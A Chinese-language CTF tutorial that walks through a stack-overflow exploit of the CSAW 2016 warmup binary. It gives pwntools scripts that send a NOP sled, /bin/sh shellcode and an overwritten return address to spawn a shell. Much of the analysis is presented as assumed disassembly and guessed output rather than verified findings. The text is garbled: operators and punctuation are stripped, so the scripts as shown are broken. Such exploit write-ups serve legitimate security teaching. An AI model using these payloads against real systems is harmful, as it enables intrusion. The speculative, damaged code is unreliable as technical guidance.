从CSAW CTF 2016入门题实战栈溢出漏洞利用与逆向分析

📅 2026/7/6 12:45:52
从CSAW CTF 2016入门题实战栈溢出漏洞利用与逆向分析
1. 项目概述从一道经典题看逆向学习的实战价值最近在和一些刚入门二进制安全的朋友交流时发现一个挺普遍的现象很多人一上来就抱着厚厚的汇编、操作系统、编译原理教材猛啃学得头昏脑胀但真拿到一个CTF的pwn题还是不知道从何下手。这让我想起了自己刚入门那会儿也是走了不少弯路。后来我发现对于实战性极强的pwn漏洞利用学习“通过直接刷题逆向学习”可能是一条更高效的路径。这就像学游泳你在岸上把理论背得再熟不下水扑腾几下永远学不会。今天我们就以一道非常经典的入门题——CSAW CTF 2016的warmup_csaw_2016为例来实践这种学习方法。这道题之所以经典是因为它完美地呈现了一个最基础的栈溢出漏洞模型但又加入了一些小小的“变种”非常适合用来建立对漏洞利用的直观感受。我们不会一上来就讲枯燥的栈帧结构而是直接打开题目跟着漏洞的线索一步步走在解决问题的过程中逆向推导出我们需要掌握的知识点。我们的目标不仅仅是解出这道题更是掌握一套遇到陌生pwn题时的通用分析方法和利用思路。2. 题目初探与环境搭建2.1 题目信息获取与初步分析拿到一个pwn题第一步永远是收集信息。我们通常能拿到一个可执行文件ELF格式有时还会附带一个运行服务的libc库。首先用file命令看看文件基本信息file warmup_csaw_2016输出很可能显示这是一个ELF 64-bit LSB executable, x86-64。这说明它是64位的程序运行在常见的Linux系统上。接着用checksec工具检查程序开启了哪些安全保护机制checksec --filewarmup_csaw_2016典型的输出可能如下Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments这是一个非常“友好”的配置几乎关闭了所有现代防护No canary: 栈上没有金丝雀Stack Canary保护。这意味着我们可以放心地溢出覆盖栈上的数据而不用担心触发检测导致程序崩溃。NX disabled:没有启用“数据执行保护”Non-Executable Stack。这意味着栈上的数据比如我们输入的shellcode可以被当作代码来执行。No PIE:没有开启“位置无关可执行文件”Position Independent Executable。这意味着代码段的加载地址是固定的通常是0x400000我们可以在逆向时得到绝对地址比如函数的地址。Has RWX segments: 存在可读、可写、可执行的段。这进一步证实了栈可执行。这些信息告诉我们这道题很可能是一个标准的、允许在栈上执行代码的栈溢出题是入门的最佳选择。2.2 运行环境与调试工具准备为了动态分析我们需要一个Linux环境。推荐使用Ubuntu 18.04/20.04的虚拟机或Docker镜像因为其libc版本与很多老题匹配。同时安装必备工具pwntools: Python的pwn开发库用于编写利用脚本。gdbpwndbg/gef/peda: 强大的调试器及其增强插件用于动态调试。objdump/readelf: 用于静态分析ELF文件。ROPgadget/ropper: 用于寻找构建ROP链的指令片段。用./warmup_csaw_2016直接运行程序看看它的基本行为。它可能会打印一些提示信息然后等待你的输入。这是我们与程序交互的开始。3. 逆向工程静态分析与漏洞定位3.1 主函数与关键函数逆向静态分析是我们理解程序逻辑的基石。使用objdump -d warmup_csaw_2016反汇编或者用IDA Pro/Ghidra等图形化工具会更直观。寻找main函数。在反汇编代码中搜索main或从入口点_start跟踪。找到的main函数可能非常简单push rbp mov rbp, rsp sub rsp, 0x40 ; 在栈上分配了0x4064字节的空间 ... ; 可能有一些初始化或打印操作 call vulnerable_function ; 调用一个易受攻击的函数 ... ; 后续操作 leave ret关键点在于它调用了另一个函数我们姑且命名为vulnerable_function。这通常是漏洞所在。跟进vulnerable_function。它的反汇编代码是分析的核心push rbp mov rbp, rsp sub rsp, 0x40 ; 同样分配了栈空间 lea rax, [rbp - 0x40] ; 计算缓冲区起始地址假设是 [rbp-0x40] mov rdi, rax ; 将缓冲区地址作为第一个参数rdi mov eax, 0 ; 清空eax可能表示使用系统调用 call gets ; 调用了危险的gets函数 ... ; 后续可能有其他操作 leave ret漏洞点立刻浮现gets函数。这个C标准库函数会从标准输入读取数据直到遇到换行符或EOF但它完全不检查目标缓冲区的大小。它只知道从我们给的地址这里是rbp-0x40开始往后写。而程序只为这个缓冲区分配了0x4064字节。3.2 栈帧结构与溢出路径推演现在我们需要在脑海中或纸上画出调用vulnerable_function时的栈帧布局。这是利用的关键。调用约定x86-64 Linux下常用System V AMD64 ABI调用约定。函数参数依次用rdi, rsi, rdx, rcx, r8, r9传递更多参数才用栈。call指令会先将返回地址即main函数中call指令的下一条地址压栈。进入函数执行push rbp保存旧的栈基址然后mov rbp, rsp建立新的栈帧。分配空间sub rsp, 0x40将栈顶下移为局部变量腾出空间。栈布局从高地址到低地址更高地址调用者的栈帧...返回地址 (RIP)8字节。控制程序执行流的关键旧的RBP8字节。push rbp保存的值。缓冲区空间从[rbp-0x40]开始共64字节。这是我们输入数据存放的起点。更低地址...可能还有对齐空间所以从缓冲区起始地址[rbp-0x40]到旧的RBP之间有0x40字节。从[rbp-0x40]到返回地址之间就有0x40 8 0x4872字节。这意味着只要我们输入超过72个字符多出来的部分就会开始覆盖返回地址。实操心得这个“72”的计算是基础中的基础。但不要死记硬背关键是理解推导过程缓冲区大小 保存的RBP大小 偏移量。不同的编译器优化、不同的变量定义顺序都可能导致这个偏移量变化所以一定要自己逆向分析确认。一个可靠的方法是使用模式字符串pattern在动态调试中精准定位。4. 动态调试验证漏洞与精准定位4.1 使用Cyclic Pattern定位偏移理论计算需要实践验证。我们用pwntools的cyclic功能生成一个不重复的字符串模式。编写一个简单的Python脚本exploit.pyfrom pwn import * context.binary ./warmup_csaw_2016 context.log_level debug p process(./warmup_csaw_2016) # 本地启动进程 # 生成一个200字节的pattern pattern cyclic(200) p.sendline(pattern) p.interactive()运行脚本程序会因段错误Segmentation Fault而崩溃。这时在另一个终端用gdb附加gdb -p pid或在脚本中直接使用gdb.attach(p)。在gdb中程序崩溃后查看RIP寄存器的值gdb-peda$ x/i $rip 0x400123: ret gdb-peda$ info registers ... rip 0x400123 0x400123RIP指向了ret指令说明它试图从栈上弹出一个地址来跳转但这个地址被我们的pattern覆盖了是一个非法地址。现在查看这个非法地址的值gdb-peda$ x/gx $rsp 0x7fffffffe148: 0x6161616c6161616b0x6161616c6161616b是pattern的一部分。使用cyclic -l 0x6161616c6161616b命令或在pwntools中用cyclic_find(0x6161616c6161616b)来查找这个值在pattern中的偏移。假设输出是72。这就完美验证了我们之前的静态分析覆盖返回地址需要72个字节的填充。4.2 观察栈上数据与控制流劫持在gdb中我们可以在调用gets前后下断点观察栈的变化。break *vulnerable_functionXX (gets调用处) break *vulnerable_functionYY (ret指令处)单步执行在gets之后用x/30gx $rsp查看栈内存可以看到我们输入的pattern整齐地排列在栈上并且覆盖了返回地址的位置。当执行到ret指令时它等价于pop rip。此时RSP指向的位置即栈顶的值会被加载到RIP。如果我们能让这个值指向我们想要的地址就完全控制了程序执行流。5. 利用思路构建Shellcode与栈执行5.1 利用条件分析与方案选择我们已经控制了RIP接下来要决定让它跳到哪里去。回顾checksec的结果NX disabled, Stack executable。这给了我们最直接的利用方案将Shellcode放在栈上并让RIP跳转到Shellcode的起始地址执行。Shellcode是一段短小的机器码用于完成特定任务最常见的是打开一个shell/bin/sh。我们需要解决几个问题Shellcode放哪里就放在我们输入的缓冲区里。我们的payload结构将是[Shellcode] [填充字符直到72字节] [Shellcode的起始地址]。Shellcode的地址是什么这是最大的变数。栈地址在每次运行时可能因环境变量、参数等因素略有变化ASLR但题目没开PIE且栈地址的随机化范围在早期版本或特定设置下可能不大。我们可以通过调试获取一个大致地址然后结合NOP雪橇来增加命中概率。用什么Shellcode我们可以自己写但更简单的是使用pwntools提供的现成Shellcodeshellcraft.sh()。5.2 NOP雪橇与地址估算NOPNo Operation指令机器码0x90什么都不做只是让程序计数器加一。如果我们在一段Shellcode前面放置大量NOP指令那么只要RIP跳转到这个NOP区域的任何位置都会“滑行”到最后的Shellcode并执行。这片NOP区域就是“NOP雪橇”。假设我们在gdb中运行程序在gets函数执行后查看缓冲区起始地址gdb-peda$ x/x $rbp-0x40 0x7fffffffe100: 0x61616161假设看到是0x7fffffffe100。那么我们可以选择一个比这个地址稍小的值作为跳转目标比如0x7fffffffe0f0确保它能落在我们输入的NOP雪橇范围内。由于ASLR这个地址每次运行会变。但在简单的本地环境中变化可能不大。对于远程攻击如果服务端程序崩溃后重启进程地址空间重置且ASLR强度不高暴力尝试也可能成功。更可靠的方法是寻找信息泄露来获取栈地址但这道题作为warmup通常地址是固定的或可预测的。6. 漏洞利用脚本编写与优化6.1 第一版利用脚本结合以上分析我们可以写出第一版利用脚本from pwn import * context.binary ./warmup_csaw_2016 context.arch amd64 # 设置架构 # context.log_level debug # 本地测试 p process(./warmup_csaw_2016) # 如果是远程用 p remote(pwn.chal.csaw.io, 8000) # 1. 生成shellcode shellcode asm(shellcraft.sh()) print(fShellcode length: {len(shellcode)}) # 2. 构建payload offset 72 # 我们决定使用一个在调试中看到的地址例如 0x7fffffffe100 # 由于ASLR我们需要一个大致范围。先尝试一个调试时看到的地址。 target_addr 0x7fffffffe100 # 为了增加容错加入NOP雪橇 nop_sled b\x90 * 64 # 64字节的NOP # payload结构: [NOP雪橇] [Shellcode] [填充至72字节] [目标地址] payload nop_sled shellcode payload payload.ljust(offset, bA) # 用A填充到72字节 payload p64(target_addr) # 打包64位地址注意小端序 # 3. 发送payload p.sendline(payload) # 4. 交互 p.interactive()运行这个脚本如果地址猜对了你将会得到一个shell可以执行whoami,ls等命令。6.2 动态获取栈地址与脚本优化第一版脚本硬编码了地址可靠性差。我们可以尝试利用程序本身的输出来获取地址。重新静态分析程序也许vulnerable_function在调用gets之前或之后会打印缓冲区地址这在CTF题中很常见是一种“送”地址的信息泄露。用IDA/ghidra查看vulnerable_function的伪代码void vulnerable_function() { char buf[64]; printf(Heres your buffer address: %p\n, buf); // 关键行 gets(buf); }如果真有这样的printf那问题就简单了。我们需要修改脚本先接收这个地址再计算我们的跳转地址。优化后的脚本from pwn import * context.binary ./warmup_csaw_2016 context.arch amd64 p process(./warmup_csaw_2016) # p remote(pwn.chal.csaw.io, 8000) # 1. 接收程序泄露的地址 p.recvuntil(bHeres your buffer address: ) leak_addr p.recvline().strip() buf_addr int(leak_addr, 16) print(fBuffer address leaked: {hex(buf_addr)}) # 2. 构建payload offset 72 shellcode asm(shellcraft.sh()) # 计算跳转地址通常在缓冲区开始处加上一些偏移以防万一。 # 例如我们跳转到缓冲区起始地址 32 的位置前面放NOP雪橇。 target_addr buf_addr 32 nop_sled b\x90 * 48 payload nop_sled shellcode payload payload.ljust(offset, bB) payload p64(target_addr) p.sendline(payload) p.interactive()这种利用方式稳定而优雅是栈溢出利用的经典模式。注意事项即使有地址泄露也要注意地址可能包含不可打印字符如0x0a换行符而提前截断接收。recvuntil和recvline要小心使用。有时需要u64(p.recv(6).ljust(8, b\x00))来解包。7. 变种分析与拓展思考7.1 题目可能的变种点虽然warmup_csaw_2016是标准题但“变种实战”提示我们思考可能的变形缓冲区位置变化缓冲区可能不在[rbp-0x40]而是[rsp0x10]这需要重新计算偏移。使用其他危险函数比如read,scanf,strcpy到固定大小的栈缓冲区但长度可控。部分覆盖如果溢出长度有限只能覆盖返回地址的低1-2字节这可能用于在有限地址空间内进行跳转partial overwrite。开启NX如果栈不可执行我们就需要转向ROP技术。但这道题明确NX disabled所以我们用了shellcode。有Canary如果有栈金丝雀在覆盖返回地址前会先覆盖它导致程序检测到栈破坏而终止。这就需要先泄露Canary的值或者寻找不触发它的溢出方式如格式化字符串漏洞。7.2 从本题到通用栈溢出利用框架通过这道题我们可以总结出一个简单的栈溢出利用框架信息收集file,checksec, 运行程序。静态分析找到危险函数gets,read,scanf,strcpy等分析缓冲区大小与返回地址的偏移。动态验证用pattern定位精确偏移观察栈布局。利用条件评估根据checksec结果选择方案Shellcode/ROP。构建利用链Shellcode方案解决地址问题泄露/猜测NOP组织payload。ROP方案寻找gadget构建链以实现execve(/bin/sh, 0, 0)或调用system(/bin/sh)。编写脚本使用pwntools发送payload处理交互。调试与优化根据反馈调整payload处理坏字符等。8. 常见问题与排查技巧实录在实际操作中你肯定会遇到各种问题。这里记录几个典型场景和排查思路问题1发送payload后程序崩溃但没有拿到shell。排查思路检查偏移量用cyclic和cyclic_find再次确认偏移是否正确。不同环境libc版本、编译器可能导致栈布局细微差异。检查地址如果用了硬编码地址用gdb附加进程在ret指令处查看$rsp指向的值是否是你预期的跳转地址。如果不是说明地址不对或payload构造有问题。检查Shellcode确保Shellcode与架构匹配context.arch设置正确。过长的Shellcode可能被截断。可以先用一段简单的测试代码如shellcraft.echo(Hello\n)验证控制流劫持是否成功。检查坏字符gets函数虽然不限输入但某些函数如strcpy遇到\x00会终止或网络传输可能对某些字节敏感。确保你的payload特别是地址部分不包含\x00,\x0a,\x0d等可能被解释为终止符的字符。问题2远程环境与本地环境行为不一致。排查思路libc差异远程服务器可能使用不同版本的libc导致函数地址偏移不同。如果利用涉及libc函数地址需要先泄露libc基址再计算。本题不涉及。环境变量环境变量不同会影响栈的初始地址。这就是为什么有时本地成功远程失败。NOP雪橇是应对地址波动的有效手段增加雪橇长度可以提高容错率。网络延迟与交互远程连接可能有延迟。在sendline后适当sleep(0.1)或使用p.recv(timeout2)并做好异常处理。pwntools的context.log_level debug可以打印所有收发数据便于排查。问题3gdb调试环境与直接运行环境栈地址不同。现象在gdb中调试时得到的缓冲区地址在直接运行程序时无效。原因gdb会设置一些特殊的环境变量如LINES,COLUMNS和启动参数这会影响栈的布局。解决方案让gdb环境更接近真实环境在gdb中用unset env LINES和unset env COLUMNS清除相关环境变量或用set env _./warmup_csaw_2016。使用pwntools的gdb.attach(p)在脚本中启动gdb这样调试的就是实际运行起来的进程状态。最有效的方法依赖于程序自身的信息泄露而不是硬编码的调试地址。问题4gets函数无法触发或输入后程序无反应。排查思路确认程序是否真的在等待输入。可能程序有多个输入点你的payload发送得太早或太晚。使用p.recvuntil(bsome prompt:)来同步程序状态。检查程序是否有缓冲区刷新问题。尝试在sendline后加上p.recv(timeout1)看看有没有任何输出。用strace工具运行程序查看系统调用确认程序是否确实执行了read系统调用gets的内部调用来读取你的输入。最后分享一个我个人的调试习惯在编写利用脚本时我会先在一个try-except块中运行并保存payload到文件方便用gdb手动加载分析。try: p process(./warmup_csaw_2016) payload build_payload() with open(payload.bin, wb) as f: f.write(payload) p.sendline(payload) p.interactive() except Exception as e: print(fExploit failed: {e}) import traceback traceback.print_exc()然后可以用gdb ./warmup_csaw_2016再run payload.bin来重现崩溃现场仔细检查每一步。